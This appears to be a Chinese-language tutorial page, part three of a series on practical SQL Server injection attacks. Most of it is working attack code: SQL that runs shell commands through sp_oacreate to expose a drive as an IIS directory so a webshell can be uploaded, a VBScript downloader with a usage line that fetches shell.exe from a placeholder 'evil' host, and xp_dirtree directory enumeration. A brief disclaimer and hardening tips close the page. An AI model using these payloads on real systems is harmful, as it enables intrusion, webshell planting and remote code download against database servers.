首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊實戰技巧(三):登錄讀取、FSO 寫 Shell、xp_dirtree 深度利用

     編輯:關於SqlServer

聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。

一、登錄讀取預設網站路徑(僅限預設站點)

鍵值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\

declare @o int;
exec sp_oacreate 'wscript.shell', @o out;
exec sp_oamethod @o, 'run', null, 'cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "預設 Web 站點" -v "e","e:\"';
exec sp_oamethod @o, 'run', null, 'cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/root/e browse';

在預設站點建立虛擬目錄 e 指向 E 槽,並啟用瀏覽權限,再傳 Webshell。

  • 缺點:僅能探測預設站點;IIS 6.0(Win2003)登錄結構變更,此法失效。

二、通用下載器 iget.vbs(配合 xp_cmdshell)

Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET", LCase(WScript.Arguments(0)), 0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3 : sGet.Type = 1 : sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)), 2

用法:cscript iget.vbs https://evil/shell.exe c:\shell.exe,下載任意檔案。

三、xp_dirtree 深度參數(關鍵發現)

exec master..xp_dirtree 'd:/test' 回傳欄位 subdirectory, depth,其中 depth 代表目錄層級!

-- 建表含 depth 欄位
create table dirs(paths varchar(1000), id int);
insert dirs exec master.dbo.xp_dirtree 'd:\';
-- 只查第一層
select top 1 paths from dirs where id=1;

此法可精準枚舉各層目錄,大幅降低搜尋成本,堪稱「最實用單一技巧」。

防禦建議

  • 移除 sp_oacreate、sp_oamethod 等 OLE Automation 擴展。
  • 禁用 xp_cmdshell、xp_dirtree、xp_regread。
  • 應用層採用參數化查詢,資料庫帳號最小權限,部署 WAF。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved